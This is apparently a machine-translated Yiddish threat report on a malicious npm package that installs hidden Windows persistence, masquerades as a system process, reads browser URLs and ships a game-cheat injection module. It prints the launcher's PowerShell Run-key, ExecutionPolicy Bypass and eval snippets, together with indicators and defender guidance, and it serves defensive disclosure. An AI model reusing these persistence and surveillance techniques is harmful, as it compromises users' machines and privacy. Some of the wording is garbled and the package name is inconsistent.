טל; דר
דאָס npm פּעקל סענסיטיוויטי באַשרײַבט זיך אַלס אַ "סענסיטיוויטי קאָנטראָל פּאַנעל." אויף ווינדאָוס פֿונקציאָנירט עס ווי אַ ווײַטקאָנטראָל און אויפֿזיכט געצייַג.
איר אריינגאנגספונקט, launcher.js, טוישט דעם נאמען פון זיין אייגענעם פראצעס צו ראנטיים בראוקער, שרייבט אן אויטאסטארט ראן-קיל ווערט מיטן נאמען OneDriveUpdate וואָס רילאָנטשט דעם פּעקל דורך אַ פאַרבאָרגענעם VBScript, ברענגט ארויס PowerShell מיט -ExecutionPolicy Bypass, און דערנאך עוואַלירט אַ 171 KB פֿאַרבלאָקטע סערווער פּיילאָוד צוזאַמען מיט אַ 6.87 MB נאַטירלעכן מאָדול, sens.node.
עס סערווירט א טעלעפאָן-פּערינג קאָנטראָל פּאַנעל אויף TCP פּאָרט 3000 און לייענט דעם אַקטיוון בלעטערער'ס אַדרעס-באַר URL דורך Windows UIAutomation, וואַטשנדיק פֿאַר איין האַרט-קאָדירט יאָוטוב ווידעאָ.
צוויי טיילן וואָס פריער האָבן זיך געלייענט ווי שוואַרצע קעסטלעך זענען איצט אויפגעלייזט. דער פארשטעלטער סערווער, server.obf.js, ניצט אן obfuscator.io RC4 סטרינג-אַרעי סכעמע; ווידער-אימפלעמענטירן זיין דעקאָדער אָפפליין (קיין דזשאַוואַסקריפּט עקסעקוטעד) ריקאַווערדס אַן איינציקן פונדרויסנדיקן ענדפּוינט — https://izopi.com/check.php — צוזאַמען מיט אַן איינגעבעטן RSA עפנטלעכן שליסל געניצט צו וועריפיצירן אונטערגעשריבענע ליצענץ ענטפֿערס.
דער נאַטירלעכער מאָדול, sens.node, איז נישט פּאַקט: זײַן אימפּאָרט טאַבעלע און אײַנגעבעטעטע סטרינגס אידענטיפֿיצירן עס ווי אַ DirectX 11 / Dear ImGui אין-שפּיל אָוווערליי וואָס גיט aimbot, ESP (וואָל-כאַק), און triggerbot פֿעיִטשערז, געטריבן דורך ווײַט-פּראָצעס אינדזשעקשאַן און זכּרון לייענט/שרײַבט.
סטרינגס אינעווייניק רעפערענצירן וועהיקל ענטיטיס און מאַפּע לאָקאַציעס וואָס זענען קאָנסיסטענט מיט GTA V / FiveM. די npm פּעקל איז די דעליווערי און פּערסיסטענס ראַפּער אַרום יענעם נאַטירלעכן מאָדול.
דער דעפינירנדיקער סיגנאַל איז אָפּעראַציאָנעל, נישט טעכניש: אַן איינציקער אַנאָנימער פאַרלעגער האָט אַרויסגעגעבן בערך זיבעציק ווערסיעס פון איין פּעקל — 2.5.0 דורך 2.5.69 — איבער א פאר טעג, יעדער טראגנדיק דעם זעלבן לאונטשער.
עס זענען נישטאָ קיין אינסטאַלאַציעס hooksדי פּיילאָוד לויפט נאָר ווען דער פּעקל ווערט אָנגעהויבן.
דער אטאקע: ווי אזוי עס ארבעט
סענסיוויטי שיקט צען טעקעס. די package.json איז דין: קיין רעפּאָזיטאָרי פעלד, קיין ליצענץ, א הויפּט און צוויי בין אַליאַסיז (sensivity, sens) אַלע ווײַזן אויף launcher.js, און א סטאַרט סקריפּט פון node launcher.js. עס איז נישטאָ קיין פּאָסטינסטאַל אָדער פּרעינסטאַל. גאָרנישט אַקטועלירט אויף npm install. די נאַטור באַשריבן אונטן לויפט ווען אַ באַניצער הייבט אָן דעם פּאַקעט — דורך די בין שים, די סטאַרט סקריפּט, אָדער אַ רעקווייער.
דער טאַרבאָל טראָגט דעם לאָנטשער, אַן אָבפוסקירטן סערווער, דעם נאַטירלעכן מאָדול, אַ וויזשוואַל בייסיק סקריפּט, און אַ פּובליק/ וועב דירעקטאָרי פֿאַר דעם קאָנטראָל פּאַנעל. launcher.js איז דער ליינעוודיקער אָרקעסטראַטאָר; די לאָגיק וואָס איז וויכטיק ביי ראַנטיים לעבט אין די צוויי בלאָבס וואָס עס לאָודט — אַן אָבפוסקירטן סערווער און אַ קאָמפּיילט נאַטירלעכן מאָדול, ביידע אויסגעקלערט אונטן.
פּראָצעס מאַסקעראַד און אַ פאַלש OneDrive אַפּדייטער
פרי אין עקסעקוציע שטעלט launcher.js צוויי מאל זיין אייגענעם פראצעס נאמען:
javascript process.title = 'Runtime Broker'; ראַנטיים בראָקער איז אַ לעגיטימער ווינדאָוס פּראָצעס (RuntimeBroker.exe) וואָס פאַרמיטלט אַפּ פּערמישאַנז. איבערגעבן דעם נאָמען פון אַ נאָדע פּראָצעס צו פּאַסן צו אים מיינט אַז אַ שנעלער בליק אויף טאַסק מאַנאַדזשער ווייזט גאָרנישט ומגעוויינטלעך.
פּערסיסטענס ווערט געשריבן דורך פּאָווערשעַל אַנשטאָט אַ דירעקט רעגיסטרי API:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); דער אויטאשטארט ווערט הייסט OneDriveUpdate, און עס ווייזט נישט גלייך אויפן פעקל. עס ווייזט אויף wscript.exe וואס לויפט דעם איינגעשלאסענעם OneDrive.Standalone.Updater.vbs. יענער סקריפּט רילאָנטשט node launcher.js אין א באהאלטענעם פענצטער. סיי דער Run-key נאמען און סיי דער VBScript פייל נאמען בארגן מייקראסאפט בראנדינג, אזוי ליינט זיך דער אויטאשטארט איינטראג ווי א רוטינע OneDrive אויפגאבע.
פּאַוערשעל מיט עקסעקוטיאָן-פּאָליטיק בייפּאַס
דער לאָנטשער שיקט כסדר ארויס א קאפי צו פּאַוערשעל. דער זינק וואָס סקענערס מאַרקירן ווי קריטיש איז דער לאָנטש פון אַ דזשענערירטן .ps1 מיט דער עקסעקוטיאָן פּאָליטיק דיאַקטיווירט:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); עקסעקושאַןפּאָליסי בייפּאַס נעמט אַוועק די לאָקאַלע סקריפּט-אונטערשרייבונג קאָנטראָל פֿאַר יענעם רוף. די גענערירטע סקריפּטן האַנדלען מיט די בראַוזער-איבערוואַכונג און פֿענצטער-דעטעקציע אַרבעט באַשריבן אין דער ווייַטער סעקציע.
דער פארבלאנדזשעטער סערווער און דער געבוירענער מאָדול
נאך סעטאַפּ, launcher.js לאָודט און עקסעקוטירט זיין עכטע פּיילאָוד:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));server.obf.js איז 171 KB פון _0x-array obfuscation — די דזשאַוואַסקריפּט מוסטער וואו יעדער סטרינג און אידענטיפיצירער ווערט ערזעצט מיט אַן אינדעקס אין אַ געמישטן אַרעי, און דערנאָך דע-רעפערענסירט ביי ראַנטיים. די סכעמע איז די RC4 וואַריאַנט פּראָדוצירט דורך obfuscator.io: אַן איינציקע דעקאָדער פונקציע base64-דעקאָדירט אַן אַרעי איינטראַג און דערנאָך RC4-דעקריפּטירט עס מיט אַ פּער-רוף שליסל. ווידער-אימפלעמענטירן דעם דעקאָדער אין אַ באַזונדערן סקריפּט — לויפן בלויז די ווידער-אימפלעמענטאַציע איבער דעם עקסטראַקטירטן 821-איינטראַג סטרינג אַרעי, קיינמאָל נישט דעם פּעקל'ס אייגענעם דזשאַוואַסקריפּט — אַנוויילד עס ריין. וואָס קומט אַרויס איז באַשיידן אָבער דעcisיא: איין עקסטערנע URL, https://izopi.com/check.php`, צוגעטיילט צו א LICENSE_URL קאנסטאנט; אן איינגעבעטעטע RSA PUBLIC_KEY_PEM`; די לאקאלע פאנעל רוטירט /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, און /trigger/status; און די סטרינגס child_process, crypto, און [Sensivity] sens.node loaded — די לעצטע איז די גענויע לאג ליניע וואס דער לאנטשער שרייבט איבער צום פראגראם מאדול loaded. דער ענדפונקט איז א לייסענס טשעק: דער קליענט שטעלט ארויף אן אידענטיפיצירער (דער פארשוועכטער סערווער פארמאטירט א דיסקארד ID: %s סטרינג) און דער RSA שליסל וועריפיצירט דעם סערווער'ס אונטערגעשריבענע ענטפער.
sens.node איז א 6.87 מעגאבייט קאמפיילירטע נאטירלעכע צוגאב, און עס איז נישט געפאקט — סעקציע ענטראפי זיצט ביי 5.6–6.6 און די PE אימפארט און עקספארט טאבעלעס זענען גאנץ, אזוי אז זיינע מעגלעכקייטן זענען ליינעבאר גלייך. עס עקספארטירט napi_register_module_v1, די standard נאָדע N-API איינטריט פונקט, אַזוי דער עוואַלויִרטער סערווער לאָודט עס מיט אַ פּשוטן רעקווייערמענט. זיין אימפארט טאַבעלע איז די טעלל. פֿון KERNEL32 ציט עס OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, און Process32First/NextW — די קאַנאָנישע סעט פֿאַר לאָקאַליזירן אַן אַנדער פּראָצעס, אַלאָקירן זכּרון אינעווייניק, און לייענען אָדער שרייבן יענעם זכּרון. פֿון USER32 ציט עס GetAsyncKeyState, GetKeyState, mouse_event, און SetCursorPos; עס פֿאַרבינדט d3d11.dll, D3DCOMPILER_43, און dwmapi פֿאַר אַן אויף-סקרין אָוווערליי, און די גאַנצע WINHTTP סעט פֿאַר נעץ רופן. אירע איינגעבעטענע סטרינגס געבן א נאמען פאר די אייגנשאפטן אן קיין צוויידייטיקייט: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, און די Dear ImGui באַנער Dear ImGui 1.91.3 WIP. לאקאציע און ענטיטי סטרינגס ווי Grapeseed Medical Clinic און די vehicle-ESP וואָקאַבולאַר זענען קאָנסיסטענט מיט GTA V / FiveM.
די צוטיילונג איז באוואוסטזיניק אין עפעקט: די ליינעוודיקע launcher.js טראגט נאר די טיילן וואס א סקענער לייענט גרינג — פערסיסטענס, מאסקערד, די עוואל רוף אליין — בשעת די פארבלייכטערונג באהאלט דעם איין עקסטערנעם האוסט די ראנטיים קאנטאקטן, און די ביינערי האלט די שפיל-איבערליי און פראצעס-אינדזשעקציע לאגיק. דער לאונטשער איז די דינע, אוידיטארבארע שאָל; דער פארבלייכטער סערווער באהאלט די נעטווארק אידענטיטעט; דער נאטירלעכער מאדול איז די פיילד. מיר באשרייבן די ביינערי'ס אימפארטן און סטרינגס אלס געלעזן; מיר שליסן נישט ארויס דעם אפעראטאר'ס צוועק פון זיי.
א טעלעפאָן-פּערינג קאָנטראָל פּאַנעל אויף פּאָרט 3000
דער לאָנטשער פאַרוואַלטעט אַ לאָקאַלן וועב סערווער אויף TCP פּאָרט 3000 און באַהאַנדלט עס ווי אַ סינגלטאָן. עס פרעגט פֿאַר אַן עקזיסטירנדיקן צוהערער און רייניקט עס איידער עס בינדט:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); דער פּאַנעל איז דערגרייכלעך ביי http://localhost:3000, מיט אַ האַרט-קאָדירט LAN פאַלבעק URL פון http://192.168.1.16:3000. די public/ דירעקטאָרי און די פּאַנעל'ס נאַטור זענען קאָנסיסטענט מיט אַ QR-פּירינג פלוס: אַ טעלעפאָן סקענט אַ קאָד און בינדט זיך צום האָסט ווי אַ ווייַט קאָנטראָל. קיין עקסטערנאַל קאָמאַנד-און-קאָנטראָל דאָומיין דערשיינט נישט אין קלאָרטעקסט אין די לאָנטשער — אָבער, ווי די דעאָבפוסקאַציע אויבן ווייזט, איינער איז פאָרשטעלן אין די אָבפוסקייטיד סערווער: די izopi.com ליצענץ ענדפּוינט. דער פּאַנעל זיך איז לאָקאַל און LAN-סקאָופּעד; דער איינציקער אַוטבאַונד האָסט איז יענער ליצענץ טשעק.
אן אפגעזונדערטער סופּערווייזער/ארבעטער מאָדעל האַלט דעם פּראָצעס לעבעדיק. דער לאָנטשער אַנטוויקלט זיך ווידער מיט SENSIVITY_SUPERVISOR און SENSIVITY_WORKER סביבה פלאַגס, יעדער קינד לויפט באַהאַלטן, אַזוי אַז טייטן איין פּראָצעס לאָזט איבער אַ וואַטשדאָג צו עס ריסטאַרטן.
בראַוזער אויפזיכט און די יוטוב סיגנאַל
די מערסט ספעציפישע אויפפירונג איז בראַוזער מאָניטאָרינג. launcher.js בויט PowerShell וואָס טרייבט Windows UIAutomation צו לייענען די אַדרעס באַר פון אַ לויפנדיקן בראַוזער:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', ValuePattern גיט צוריק דעם טעקסט אינהאַלט פון אַ UI עלעמענט. געווענדט צו אַ בראַוזער'ס אַדרעס-באַר רעדאַקטירן קאָנטראָל, גיט עס צוריק די URL וואָס דער קרבן קוקט איצט — אָן אַ בראַוזער עקסטענשאַן, אָן אָנרירן דעם פּראָפיל אויף דיסק, און אָן אַן API הוק. דער דזשענערירטער סקריפּט איבערחזרט אַ $browserNames ליסטע און נעמט אַרויס די URL אָדער פֿענצטער טיטל פון וועלכן בראַוזער איז אין פאָרגרונט.
יענע URL ווערט געטעסט קעגן איין הארט-קאדירטן ציל:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; דער לאָנטשער פּאָלט אויף אַ דריי-סעקונדע שלייף פֿאַר אַ בלעטערער פֿענצטער וואָס ווייַזט יוטוב, און די דזשענערירטע פּאַוערשעל טראָגט אַ Get-YouTubeBrowser / Test-TargetYouTubeUrl פּאָר וואָס פּאַסט צו יענעם ווידעאָ ID. דער באַאָבאַכטבאַרער עפֿעקט איז צווייפֿאַך: די אַקטיווע בראַוזינג URL ווערט געלייענט פֿון דעם קרבן'ס עקראַן, און דער באַלעבאָס'ס אינטעראַקציע מיט איין ספּעציפֿישן יוטוב ווידעאָ ווערט דעטעקטירט. מיר באַשרײַבן דעם מעכאַניזם און דעם ציל; מיר שליסן נישט פֿון זיי אַ מאָטיוו.
די אַדרעס-באַר לייענונג איז וואָס דער סקאַנער באַצייכנט sensitive_data_enumeration — אַ Process::env און UIAutomation קוואַל וואָס פיטערט אַ נעץ-פֿעיִק ראַנטיים. עס איז גוט-אַרויסזעענדיק אין אפגעזונדערטקייט און רעזאָלירט נאָר צו סורוועילאַנס ווען דער דאַטן לעבן-ציקל ווערט געטראַקט פֿון דער UIAutomation קוואַל ביזן פֿאַרשטעלטן סערווער.
צייט-ליניע און ווערסיע עוואָלוציע
סענסיטיוויטי איז נישט אן איינמאליגע ארויפלאדונג. דער ארויסגעבער אקאונט האט בערך זיבעציג ארויסגעגעבענע ווערסיעס פון דעם איינציקן פעקל, און נייע זענען אנגעקומען בעת דעם איבערבליק פענצטער. דער לאונטשער וואקסט אייגנשאפט נאך אייגנשאפט איבער דער 2.5.x ליניע בשעת זיין אנהאלטונג און לאודינג-פעאיקייט בלייבן פארראכטן.
| דאַטע (UTC) | ווערסיעס באמערקט | לאָנטשער שטאַט |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | באַזע QR-פּאַנעל לאָנטשער; לויף-שליסל פּערסיסטענס; עוואַלואַציע פון פֿאַרשוואַרצט סערווער. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | דער זעלביקער פינגער-אפדרוק; קאנסאל-שפור אונטערדריקונג. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | לייגט צו א געפּינטע יוטוב באַטייליקונג ציל wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | איבערגעבן א נייעם בליק איבערן גאפ; אויפזעער/ארבעטער וואטשדאג. |
לייענען דעם לאָנטשער איבער דאַונלאָודיד רעפּרעזענטאַטיוון — 2.5.0, 2.5.36, און 2.5.69 — ווייזט פיר שטאַפּלען. די ערשטע בילדס טראָגן דעם באַזע QR-פּערינג לאָנטשער. פֿון 2.5.33 ערשיינט דער UIAutomation אַדרעס-באַר האַרוועסטער. פֿון 2.5.58 איז צוגעגעבן געוואָרן אַ סופּערווייזער-מענעדזשמענט שיכטע. פֿון 2.5.64 פֿאַרענדיקט דער דיטאַטשט סופּערווייזער/וואָרקער וואַטשדאָג דעם סעט. איבעראל טוישן זיך פיר זאכן קיינמאָל נישט: דער OneDriveUpdate ראַן שליסל, דער OneDrive.Standalone.Updater.vbs דראָפּפּער, דער עוואַל'ד server.obf.js, און דער sens.node נאַטיווער מאָדול.
די 2026-06-05 כוואַליע איז באַמערקעוודיק ווײַל זי האָט ווידער פֿאַרעפֿנטלעכט די נידעריקע ווערסיע נומערן — 2.5.0 ביז 2.5.15 — וואָס געפֿינען זיך אונטער די ווערסיעס וואָס זענען באַשטעטיקט געוואָרן עטלעכע טעג פֿריִער. דער עפֿעקט איז אַ צוזאַמענהענגיקע 2.5.x ליניע אויפֿן רעגיסטרי, יעדע ווערסיע טראָגט דעם זעלבן לאָנטשער.
אינדיקאַטאָרן פון קאָמפּראָמיס
אלע אינדיקאטארן אונטן זענען געלעזן געווארן גלייך פון דעם פעקל טארבאל. דער ליינעוודיקער לאונטשער טראגט נאר א לופבעק און איין פריוואטע לאן אדרעס; דער איין עקסטערנער האוסטנאמען, izopi.com, איז צוריקגעקומען דורך דעאבפוסקירן server.obf.js אפליין.
| טיפּ | ינדיקאַטאָר | נאָטעס |
|---|---|---|
| פּעקל | npm:sensivity (≈70 ווערסיעס, 2.5.0-2.5.69) | איין-פּעקל ארויסגעבער; קיין רעפּאָזיטאָרי; נישט ליצענצירט. |
| טעקע | launcher.js | ליינעוודיקער אָרקעסטראַטאָר; הויפּט און בין ציל. |
| טעקע | server.obf.js (≈171 קב) | obfuscator.io RC4 סטרינג-אַרעי פּיילאָוד, לאָודיד דורך eval(fs.readFileSync(...)). |
| טעקע | sens.node (≈6.87 מעגאבייט) | PE32+ x86-64 נאָדע N-API צוגאב; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| טעקע | OneDrive.Standalone.Updater.vbs | באַהאַלטענע רילאָנטשער (node launcher.js). |
| נעץ | https://izopi.com/check.php | ליצענץ/אויטאָריזאַציע ענדפּוינט צוריקגעכאפט פון דעם פארשטעלטן סערווער; איינגעבעטעטער RSA עפנטלעכער שליסל וועריפיצירט ענטפֿערס. |
| פיייקייַט | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | ווײַט-פּראָצעס אינדזשעקשאַן און זכּרון לייענען/שרײַבן מעגלעכקייט. |
| פיייקייַט | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | דירעקטX 11 / אימגוי שפּיל אָוווערליי וואָס ימפּלעמענטירט איימבאָט, ESP, און טריגערבאָט פֿעיִקייטן. |
| רעגיסטרי | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | אויטאסטארט ווערט ווייזט אויף wscript.exe און די VBScript לאָנטשער. |
| פּראָצעס | process.title = 'Runtime Broker' | מאַסקירט זיך ווי דער לעגיטימער ווינדאָוז ראַנטיים בראָקער פּראָצעס. |
| בעהאַוויאָראַל | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | דורכפירונג-פּאָליטיק בייפּאַס גענוצט פֿאַר דזשענערירטע פּאָווערשעלל סקריפּטן. |
| בעהאַוויאָראַל | UIAutomation ValuePattern לייענען פון בראַוזער אַדרעס באַר | לייענט די URL פון דעם פאָרגרונט בלעטערער פֿענצטער. |
| בעהאַוויאָראַל | ציל ווידעא אידענטיפיקאציע wJWta2lO0Lw3-סעקונדע יוטוב אנקעטע | איינגעשטיצטע באַטייליקונג-מאָניטאָרינג סיגנאַל. |
| נעץ | http://localhost:3000, צוריקקער http://192.168.1.16:3000 | QR-פּערינג קאָנטראָל פּאַנעל אויסגעשטעלט לאָקאַל און אויף די לאַן. |
| סביבה | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | אפגעטיילטע וואַטשדאָג פּראָצעס קאָאָרדינאַציע פלעגס. |
אַטריבוציע, השפּעה, און פֿאַרטיידיקער
דאס פעקל ווערט ארויסגעגעבן דורך איין npm אקאונט וועמענס אנגעגעבענע אימעיל איז אן אומבאשטעטיגטע דזשימעיל אדרעס. דאס אקאונט טראגט א שטארק נעגאטיוון רעגיסטרי רעפוטאציע סקאר, האלט און ארויסגעגעבן נאר דעם איין פעקל, און האט נישט קיין פארבינדענע מקור רעפאזיטארי. מיר האבן נישט באשטעטיגט די אייגנטומערשאפט פון דעם אימעיל און מיר צושרייבן די קאמפיין צום ארויסגעבער אקאונט, נישט צו קיין בארימטן יחיד. דער לאנטשער טראגט נישט קיין קלארטעקסט אינפראסטרוקטור, אבער דער איין עקסטערנער האוסט איז יעצט באקאנט: דער פארשפארטער סערווער קאנטאקטירט izopi.com פאר א לייסענס קאנטראל, און דער געבוירענער מאדול — געלייענט פון זיין אימפארט טאבעלע און סטרינגס אנשטאט איבערגעדרייטע אינסטרוקציע-ביי-אינסטרוקציע — איז א שפיל איבערלייג וואס אינדזשעקטירט אין און לייענט די זכרון פון אן אנדער פראצעס.
דער באמערקבארער אימפאקט פאלט אויף ווינדאוס באניצער וואס אינסטאלירן און לויפן סענסיטיוויטי ערווארטנדיג א קאנטראל-פאנעל יוטיליטי. אויף יענע האוסטס שטעלט אויף דער פעקל אויטאסטארט פערסיסטענס באהאלטן אלס א OneDrive אויפגאבע, טוישט זיך איבער צו נאכמאכן א סיסטעם פראצעס, לייענט די URL פון וואס דער באניצער בלעטערט, און שטעלט אויף א פערינג פאנעל וואס פארבינדט די מאשין צו א רעמאָוט איבערן לאקאלן נעטווארק. דער סופערווייזער/ארבעטער וואטשדאג מיינט אז איין פראצעס טויט נעמט עס נישט אוועק; די ראן-קנעפל איינטראג איבערלעבט ריבוטס. macOS און לינוקס ווערן נישט געצילט דורך דעם לאנטשער — די פערסיסטענס, פאוערשעל, און UIAutomation וועגן זענען נאר פאר ווינדאוס.
די זיבעציק-ווערסיע טשערן איז די טענדענץ וואס איז ווערט צו באַמערקן. ווידער-פארעפנטלעכן איין פעקל צענדליגער מאל אין א פאר טעג, אריינגערעכנט צוריק-פילן ווערסיע נומערן אונטער די וואס זענען שוין אראפגענומען געווארן, האלט א לעבעדיגע קאפיע אויפן רעגיסטרי צווישן אראפנעמונגען און פארדרייט ווערסיע-געפינדעטע בלאק-ליסטעס. א בלאק-ליסט איינטראגע פאר sensitivity@2.5.61 טוט גארנישט קעגן sensitivity@2.5.3 וואס ווערט ווידער-פארעפנטלעכט דעם קומענדיגן טאג.
פארטיידיקער קענען האַנדלען אויף די פאלגענדע:
- בלאקירן די פעקל נאמען סענסיטיוויטי גלייך אין רעגיסטרי-פראקסי און CI ערלויב-ליסטן. אנשטעלן יחידישע ווערסיעס פארלירט צו דער ווידער-פארעפנטלעכונג קאדענץ; דער נאמען איז דער דויערהאפטער אינדיקאטאר.
- זוכט אַ "Run" ווערט מיטן נאָמען OneDriveUpdate וועמענס דאַטן רופט אָן wscript.exe קעגן אַ .vbs אין אַ פּער-באַניצער דרך. דער עכטער OneDrive אַפּדייטער איז נישט רעגיסטרירט אויף דעם וועג.
- וואָרענונג אויף אַ Node.js פּראָצעס וועמענס process.title איז Runtime Broker. דער עכטער בראָקער איז RuntimeBroker.exe, נישט קיין Node ראַנטיים.
- מאַרקירן npm אינסטאַל-צייט פעטשעס פון פּאַקאַדזשאַז וואָס שיקן אַ קאָמפּיילט .node אַדאָן פּלוס אַן eval(fs.readFileSync(…)) פון אַ געשוויסטער .obf.js טעקע. יענע פּאָר - אָופּאַק נאַטיוו ביינערי לאָודיד לעבן אַ אָבפוסקייטיד טעקסט פּיילאָוד - איז דער סטרוקטורעלער טאָל דאָ, אומאָפּהענגיק פון קיין סטרינג IOC.
- באַהאַנדלט יעדן לאָקאַל-געבונדענעם צוהערער אויף פּאָרט 3000 וואָס איז געשאַפן געוואָרן דורך אַן אומגעריכטן נאָדע פּראָצעס ווי פֿאַרדעכטיקט אויף געראטן ווינדאָוז ענדפּונקטן.
- בלאקירן אדער ווארענען אויף ארויסגייענדיקע פארלאנגען צו izopi.com פון דעוועלאָפּער אדער ענד-באַניצער האָסטס; דאָס איז דער איינציקער פונדרויסנדיקער ענדפּוינט פון דעם פּעקל, דערגרייכט ביי /check.php פון דעם פארשטעלטן סערווער.
- פֿאַר יעדן באַנדאַלד .node אַדאָן, קאָנטראָלירט זיין אימפּאָרט טאַבעלע איידער איר טראַסט עס. די קאָמבינאַציע OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread איז רימאָוט-פּראָצעס ינדזשעקשאַן, נישט קוקנדיק אויף וואָס דער פּאַקעט באַהויפּטט צו טאָן; דאָ זיצט עס לעבן אַ Direct3D אָוווערליי און aimbot/ESP/triggerbot סטרינגס.
פֿאַר סטאַטישע אַנאַליז pipelineס, די איבערצייגונגס-פארעם איז דויערהאפט איבער די גאנצע ווערסיע-פארלוסט: א נישט-נעץ אינסטאל פראפיל, א פראצעס-טיטל צוטיילונג צו א באקאנטן סיסטעם-פראצעס נאמען, א ראן-קיל שרייבן דורך פאוערשעל, און אן עוואלואציע פון א פייל געלייענט פון דיסק. קיינער פון די איז נישט אפהענגיק פון א דאמעין, אן IP, אדער א ווערסיע נומער וואס די נעקסטע איבער-פארעפנטלעכונג קען אוועקדרייען.
רעפֿערענצן
[npm: סענסיטיוויטי] – רעגיסטרי בלאט פאר דער פעקל ווערסיע ליניע וואס ווערט דא דיסקוטירט; אונטערטעניק צו אראפנעמען.
